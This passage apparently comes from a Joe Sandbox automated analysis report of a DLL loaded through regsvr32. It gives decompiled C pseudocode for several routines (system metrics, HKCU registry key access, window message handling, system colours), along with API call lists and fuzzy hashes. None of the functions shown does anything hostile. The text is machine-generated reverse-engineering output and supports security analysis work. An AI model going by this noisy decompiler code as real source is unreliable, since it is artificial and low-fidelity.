Uniqueness Score: -1.00%

Function 10013854, Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013854(void* __ecx) {
				struct HDC__* _t18;
				void* _t19;

				_t19 = __ecx;
				 *((intOrPtr*)(_t19 + 8)) = GetSystemMetrics(0xb);
				 *((intOrPtr*)(_t19 + 0xc)) = GetSystemMetrics(0xc);
				 *0x1005aa30 = GetSystemMetrics(2) + 1;
				 *0x1005aa34 = GetSystemMetrics(3) + 1;
				_t18 = GetDC(0);
				 *((intOrPtr*)(_t19 + 0x18)) = GetDeviceCaps(_t18, 0x58);
				 *((intOrPtr*)(_t19 + 0x1c)) = GetDeviceCaps(_t18, 0x5a);
				return ReleaseDC(0, _t18);
			}

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0x100138ad

APIs

GetSystemMetrics.USER32 ref: 10013861
GetSystemMetrics.USER32 ref: 10013868
GetSystemMetrics.USER32 ref: 1001386F
GetSystemMetrics.USER32 ref: 10013879
GetDC.USER32(00000000), ref: 10013883
GetDeviceCaps.GDI32(00000000,00000058), ref: 10013894
GetDeviceCaps.GDI32(00000000,0000005A), ref: 1001389C
ReleaseDC.USER32 ref: 100138A4

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$Release
String ID:
API String ID: 1151147025-0
Opcode ID: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction ID: d97b14313f3971f9b273ebf2d99ed84bfce9517748686708ee6192b13dda979b
Opcode Fuzzy Hash: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction Fuzzy Hash: CEF03071A40714AFFB20AF728CC9F677BA8EB81B51F11491AE6428B6D0D7B59806CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1000BD98, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E1000BD98(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a264, char _a268) {
				char _v4;
				intOrPtr _v12;
				char* _v16;
				void* _v20;
				char* _v24;
				char _v28;
				long _v32;
				char _v36;
				char _v272;
				char _v280;
				intOrPtr _v292;
				void* __ebp;
				signed int _t40;
				char _t44;
				void* _t47;
				void* _t54;
				char* _t61;
				void* _t77;
				void* _t80;
				void* _t81;
				intOrPtr _t94;
				void* _t98;
				void* _t100;
				void* _t101;
				char* _t104;

				_t95 = __edx;
				_t81 = __ecx;
				_t79 = __ebx;
				_t104 =  &_v272;
				_t40 =  *0x10057a08; // 0xe6b5ff6d
				_a264 = _t40 ^ _t104;
				_push(0x18);
				E10017BC1(E10027F63, __ebx, __edi, __esi);
				_t100 = __ecx;
				_v20 = 0;
				_v32 = 0;
				_t44 = E1000BB54(__ecx, __edx);
				_v28 = _t44;
				if(_t44 != 0) {
					do {
						__eax =  &_v28;
						_push(__eax);
						__ecx = __esi;
						E1000BB65();
						__eflags = __eax - __edi;
						if(__eax != __edi) {
							__edx =  *__eax;
							__ecx = __eax;
							__eax =  *((intOrPtr*)(__edx + 0xc))(__edi, 0xfffffffc, __edi, __edi);
						}
						__eflags = _v28 - __edi;
					} while (_v28 != __edi);
				}
				__eflags =  *(_t100 + 0x54);
				if( *(_t100 + 0x54) == 0) {
					L15:
					 *[fs:0x0] = _v12;
					_pop(_t98);
					_pop(_t101);
					_pop(_t80);
					_t47 = E100167D5(1, _t80, _a264 ^ _t104, _t95, _t98, _t101);
					__eflags =  &_a268;
					return _t47;
				} else {
					__eflags =  *(_t100 + 0x68);
					__eflags = 0 |  *(_t100 + 0x68) != 0x00000000;
					if(__eflags != 0) {
						_push("Software\\");
						E10009FA3(_t79,  &_v16, 0, _t100, __eflags);
						_v4 = 0;
						E10009F7E(_t79,  &_v16,  *(_t100 + 0x54));
						_push(0x1002a248);
						_push( &_v16);
						_push( &_v36);
						_t54 = E1000BC25(_t79, 0, _t100, __eflags);
						_push( *(_t100 + 0x68));
						_v4 = 1;
						_push(_t54);
						_push( &_v24);
						E1000BC25(_t79, 0, _t100, __eflags);
						_v4 = 3;
						E10009CB7(_v36 + 0xfffffff0, _t95);
						_push( &_v24);
						_push(0x80000001);
						E1000BC89(_t79, 0, 0x80000001, __eflags);
						_t61 = RegOpenKeyA(0x80000001, _v16,  &_v20);
						__eflags = _t61;
						if(_t61 == 0) {
							__eflags = RegEnumKeyA(_v20, 0, _t104, 0x104) - 0x103;
							if(__eflags == 0) {
								_push( &_v16);
								_push(0x80000001);
								E1000BC89(_t79, 0, 0x80000001, __eflags);
							}
							RegCloseKey(_v20);
						}
						RegQueryValueA(0x80000001, _v24, _t104,  &_v32);
						E10009CB7( &(_v24[0xfffffffffffffff0]), _t95);
						__eflags =  &(_v16[0xfffffffffffffff0]);
						E10009CB7( &(_v16[0xfffffffffffffff0]), _t95);
						goto L15;
					} else {
						_push(_t104);
						_push(_t81);
						_v280 = 0x10057298;
						E10017C83( &_v280, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t79, 0, _t100);
						_t94 = E10013965(0x104);
						_v292 = _t94;
						_t77 = 0;
						_v280 = 0;
						if(_t94 != 0) {
							_t77 = E1000CF71(_t94);
						}
						return E10017C60(_t77);
					}
				}
			}

0x1000bd98
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0x1000a123
0x1000be05

APIs

__EH_prolog3.LIBCMT ref: 1000BDB7
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 1000BE73
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BE8A
RegCloseKey.ADVAPI32(?,?,?,?,?,Software\,00000018), ref: 1000BEA4
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 1000BEB6

Strings

Software\, xrefs: 1000BE0C

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseEnumH_prolog3OpenQueryValue
String ID: Software\
API String ID: 3878845136-964853688
Opcode ID: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction ID: bb9b01b2753fba5bda47465ad6778d866e06322e4a0b808ca87f46191af68194
Opcode Fuzzy Hash: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction Fuzzy Hash: 6241AC31900559AFEB11DFA4CC81EFEB7B9EF48390F20052AF552E2294DB74AA45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1000F6F2, Relevance: 10.6, APIs: 7, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000F6F2(intOrPtr* __ecx, signed int _a4) {
				struct HWND__* _v4;
				struct tagMSG* _v8;
				int _v12;
				int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t42;
				struct tagMSG* _t43;
				signed int _t45;
				void* _t48;
				void* _t50;
				int _t53;
				long _t56;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t67;
				void* _t68;

				_t63 = __ecx;
				_t62 = 1;
				_t67 = __ecx;
				_v12 = 1;
				_v16 = 0;
				if((_a4 & 0x00000004) == 0 || (E10012862(__ecx) & 0x10000000) != 0) {
					_t62 = 0;
				}
				_t42 = GetParent( *(_t67 + 0x20));
				 *(_t67 + 0x3c) =  *(_t67 + 0x3c) | 0x00000018;
				_v4 = _t42;
				_t43 = E1000B519(0);
				_t68 = UpdateWindow;
				_v8 = _t43;
				while(1) {
					L14:
					_t73 = _v12;
					if(_v12 == 0) {
						goto L15;
					}
					__eflags = PeekMessageA(_v8, 0, 0, 0, 0);
					if(__eflags != 0) {
						while(1) {
							L15:
							_t45 = E1000B911(_t63, 0, _t67, _t73);
							if(_t45 == 0) {
								break;
							}
							if(_t62 != 0) {
								_t53 = _v8->message;
								if(_t53 == 0x118 || _t53 == 0x104) {
									E100128D7(_t67, 1);
									UpdateWindow( *(_t67 + 0x20));
									_t62 = 0;
								}
							}
							_t64 = _t67;
							_t48 =  *((intOrPtr*)( *_t67 + 0x80))();
							_t79 = _t48;
							if(_t48 == 0) {
								_t39 = _t67 + 0x3c;
								 *_t39 =  *(_t67 + 0x3c) & 0xffffffe7;
								__eflags =  *_t39;
								return  *((intOrPtr*)(_t67 + 0x44));
							} else {
								_t50 = E1000B82B(_t62, _t64, 0, _t67, _t68, _t79, _v8);
								_pop(_t63);
								if(_t50 != 0) {
									_v12 = 1;
									_v16 = 0;
								}
								if(PeekMessageA(_v8, 0, 0, 0, 0) != 0) {
									continue;
								} else {
									goto L14;
								}
							}
						}
						_push(0);
						E1000A5E4();
						return _t45 | 0xffffffff;
					}
					__eflags = _t62;
					if(_t62 != 0) {
						_t63 = _t67;
						E100128D7(_t67, 1);
						UpdateWindow( *(_t67 + 0x20));
						_t62 = 0;
						__eflags = 0;
					}
					__eflags = _a4 & 0x00000001;
					if((_a4 & 0x00000001) == 0) {
						__eflags = _v4;
						if(_v4 != 0) {
							__eflags = _v16;
							if(_v16 == 0) {
								SendMessageA(_v4, 0x121, 0,  *(_t67 + 0x20));
							}
						}
					}
					__eflags = _a4 & 0x00000002;
					if(__eflags != 0) {
						L13:
						_v12 = 0;
						continue;
					} else {
						_t56 = SendMessageA( *(_t67 + 0x20), 0x36a, 0, _v16);
						_v16 = _v16 + 1;
						__eflags = _t56;
						if(__eflags != 0) {
							continue;
						}
						goto L13;
					}
				}
				goto L15;
			}

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0x1000f790
0x00000000

APIs

GetParent.USER32(?), ref: 1000F720
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 1000F747
UpdateWindow.USER32(?), ref: 1000F761
SendMessageA.USER32(?,00000121,00000000,?), ref: 1000F785
SendMessageA.USER32(?,0000036A,00000000,00000004), ref: 1000F79F
UpdateWindow.USER32(?), ref: 1000F7E5
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 1000F819

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction ID: ecef1c15dac149fec5e590ec2565d957468d58fa3f8c06f10f68a2e84cd0c50c
Opcode Fuzzy Hash: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction Fuzzy Hash: 3041C1312087429BE711CF258C88A2BBAF4FFC5BD4F10092DF589928A4DB71D946EB53

Uniqueness

Uniqueness Score: -1.00%

Function 1000AE8A, Relevance: 10.6, APIs: 7, Instructions: 111
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000AE8A(int __ebx, long __ecx, struct HWND__* __edi) {
				long _v4;
				char _v28;
				intOrPtr _v40;
				void* __esi;
				void* __ebp;
				long _t20;
				long _t21;
				struct HWND__* _t22;
				long _t23;
				struct HWND__* _t24;
				long _t25;
				struct HWND__* _t26;
				void* _t33;
				void* _t35;
				long _t39;
				long _t41;
				intOrPtr _t43;
				struct HWND__* _t47;
				struct HWND__* _t49;
				long _t51;
				long _t53;

				_t46 = __edi;
				_t39 = __ecx;
				_t37 = __ebx;
				if( *((intOrPtr*)(__ecx + 0x78)) == 0) {
					_t51 = E1000A7CE();
					__eflags = _t51;
					if(_t51 != 0) {
						_t20 =  *((intOrPtr*)( *_t51 + 0x120))();
						__eflags = _t20;
						_t41 = _t51;
						_pop(_t52);
						if(_t20 != 0) {
							_t53 = _t41;
							_t21 =  *(_t53 + 0x64);
							__eflags = _t21;
							if(_t21 == 0) {
								_pop(_t52);
								goto L12;
							} else {
								__eflags = _t21 - 0x3f107;
								if(__eflags != 0) {
									_t35 = E1000D5EC(__ebx, __edi, _t53, __eflags);
									_t21 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t35 + 4)))) + 0xac))( *(_t53 + 0x64), 1);
								}
								return _t21;
							}
						} else {
							L12:
							_push(_t41);
							_push(_t37);
							_push(0);
							_push(_t52);
							_push(_t46);
							_v4 = _t41;
							_t22 = GetCapture();
							_t51 = SendMessageA;
							_t37 = 0x365;
							while(1) {
								_t47 = _t22;
								__eflags = _t47;
								if(_t47 == 0) {
									break;
								}
								_t23 = SendMessageA(_t47, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									L27:
									return _t23;
								} else {
									_t22 = E10010DA7(_t41, _t47, __eflags, _t47);
									continue;
								}
								goto L33;
							}
							_t24 = GetFocus();
							while(1) {
								_t46 = _t24;
								__eflags = _t46;
								if(_t46 == 0) {
									break;
								}
								_t23 = SendMessageA(_t46, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									goto L27;
								} else {
									_t24 = E10010DA7(_t41, _t46, __eflags, _t46);
									continue;
								}
								goto L33;
							}
							_t39 = _v4;
							_t25 = E10010DEC(_t37, _t39, _t46);
							__eflags = _t25;
							if(_t25 != 0) {
								_t26 = GetLastActivePopup( *(_t25 + 0x20));
								while(1) {
									_t49 = _t26;
									__eflags = _t49;
									_push(0);
									if(_t49 == 0) {
										break;
									}
									_t23 = SendMessageA(_t49, _t37, 0, ??);
									__eflags = _t23;
									if(__eflags == 0) {
										_t26 = E10010DA7(_t39, _t49, __eflags, _t49);
										continue;
									}
									goto L27;
								}
								_t23 = SendMessageA( *(_v4 + 0x20), 0x111, 0xe147, ??);
								goto L27;
							} else {
								goto L1;
							}
						}
					} else {
						L1:
						_push(0);
						_push(_t39);
						_v28 = 0x10057298;
						E10017C83( &_v28, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t37, _t46, _t51);
						_t43 = E10013965(0x104);
						_v40 = _t43;
						_t33 = 0;
						_v28 = 0;
						if(_t43 != 0) {
							_t33 = E1000CF71(_t43);
						}
						return E10017C60(_t33);
					}
				} else {
					__eflags = __eax - 0x3f107;
					if(__eax != 0x3f107) {
						return  *((intOrPtr*)( *__ecx + 0xac))(__eax, 1);
					}
					return __eax;
				}
				L33:
			}

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0x00000000

APIs

GetCapture.USER32 ref: 10014232
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 1001424B
GetFocus.USER32 ref: 1001425D
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 10014269
GetLastActivePopup.USER32(?), ref: 10014290
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 1001429B
SendMessageA.USER32(?,00000111,0000E147,00000000), ref: 100142BF

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastPopup
String ID:
API String ID: 3219385341-0
Opcode ID: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction ID: 33038f709047c962cd6e8134d606cff9e197d9281aa775ba373aba56dbca1b45
Opcode Fuzzy Hash: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction Fuzzy Hash: D031E331300256EBE611EB24DC84E6E7AEDEF866D5B630629F841DF160CF71ECC19661

Uniqueness

Uniqueness Score: -1.00%

Function 1000FC8A, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000FC8A(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t43;
				struct HWND__* _t48;
				long _t61;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E1000B510();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E1000D61F(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E100174D0(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
							_v40 = _t48;
							_v52 = 0x28;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
				}
				_t61 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				E1000FAB8(_t61, _t72, GetWindowLongA, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t61) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf0))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E1000FBD6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x114))();
			}

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APIs

_memset.LIBCMT ref: 1000FD17
SendMessageA.USER32(00000000,00000405,00000000,?), ref: 1000FD40
GetWindowLongA.USER32 ref: 1000FD52
GetWindowLongA.USER32 ref: 1000FD63
SetWindowLongA.USER32(?,000000FC,?), ref: 1000FD7F

Strings

(, xrefs: 1000FD36

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: (
API String ID: 2997958587-3887548279
Opcode ID: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction ID: 83308454b4964f7b832e75e01b7e263ef3bf02c7b32fea1d5a5d450cbed2f8d3
Opcode Fuzzy Hash: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction Fuzzy Hash: 2E31B0756006159FEB14EF68C985A6EB7F9FF082D0F15052EE9469BA95EB30F800CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013E40, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013E40(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

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APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 10013E6E
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013E91
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013EAD
RegCloseKey.ADVAPI32(?), ref: 10013EBD
RegCloseKey.ADVAPI32(?), ref: 10013EC7

Strings

software, xrefs: 10013E56

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction ID: 4673323d0336752e6ce9d3e664aa048b12ff1b48ba7cb76d312e9863fa3d259e
Opcode Fuzzy Hash: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction Fuzzy Hash: 7711B676D00259BBDB11DB9ACD88DDFBFFCEF85740B1040AAA504A2121D2719A55DB60

Uniqueness

Uniqueness Score: -1.00%

Function 10013CEE, Relevance: 10.6, APIs: 7, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E10013CEE(void* __ecx, long* __edi, void* __esi) {
				long _t22;
				void* _t23;
				void* _t28;
				void* _t31;
				void* _t33;
				signed int _t35;
				long* _t40;
				void* _t41;
				void* _t42;

				_t41 = __esi;
				_t40 = __edi;
				_t31 = __ecx;
				LeaveCriticalSection( *((intOrPtr*)(_t42 - 0x18)) + 0x1c);
				E10017C83(0, 0);
				_t22 = E100134F9(_t31, 0, __edi[3], 4);
				_t33 = 2;
				_t23 = LocalReAlloc( *(__esi + 0xc), _t22, ??);
				_t46 = _t23;
				if(_t23 == 0) {
					LeaveCriticalSection( *(_t42 - 0x14));
					_t23 = E1000A0A7(0, _t33, __edi, __esi, _t46);
				}
				 *(_t41 + 0xc) = _t23;
				E100174D0(_t40, _t23 +  *(_t41 + 8) * 4, 0, _t40[3] -  *(_t41 + 8) << 2);
				 *(_t41 + 8) = _t40[3];
				TlsSetValue( *_t40, _t41);
				_t35 =  *(_t42 + 8);
				_t28 =  *(_t41 + 0xc);
				if(_t28 != 0 && _t35 <  *(_t41 + 8)) {
					 *((intOrPtr*)(_t28 + _t35 * 4)) =  *((intOrPtr*)(_t42 + 0xc));
				}
				_push( *(_t42 - 0x14));
				LeaveCriticalSection();
				return E10017C60(_t28);
			}

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APIs

LeaveCriticalSection.KERNEL32(?), ref: 10013CF5
__CxxThrowException@8.LIBCMT ref: 10013CFF

Part of subcall function 10017C83: RaiseException.KERNEL32(?,?,?,?), ref: 10017CC3

LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004), ref: 10013D16
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23

Part of subcall function 1000A0A7: __CxxThrowException@8.LIBCMT ref: 1000A0BB

_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalLeaveSection$Exception@8Throw$AllocExceptionLocalRaiseValue_memset
String ID:
API String ID: 356813703-0
Opcode ID: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction ID: da2c65ce7076d342f4508b5b0ea9d94b5e5006c79099ef9a6e76071fa7915ca4
Opcode Fuzzy Hash: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction Fuzzy Hash: BD118E7450060AAFE710EF65DC8AC1BBBB9FF04354720C128F4599A566CB30ECA0CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013810, Relevance: 10.5, APIs: 7, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013810(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x1001381a
0x10013820
0x10013827
0x1001382e
0x10013835
0x10013842
0x10013849
0x1001384c
0x1001384f
0x10013853

APIs

GetSysColor.USER32(0000000F), ref: 1001381C
GetSysColor.USER32(00000010), ref: 10013823
GetSysColor.USER32(00000014), ref: 1001382A
GetSysColor.USER32(00000012), ref: 10013831
GetSysColor.USER32(00000006), ref: 10013838
GetSysColorBrush.USER32(0000000F), ref: 10013845
GetSysColorBrush.USER32(00000006), ref: 1001384C

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

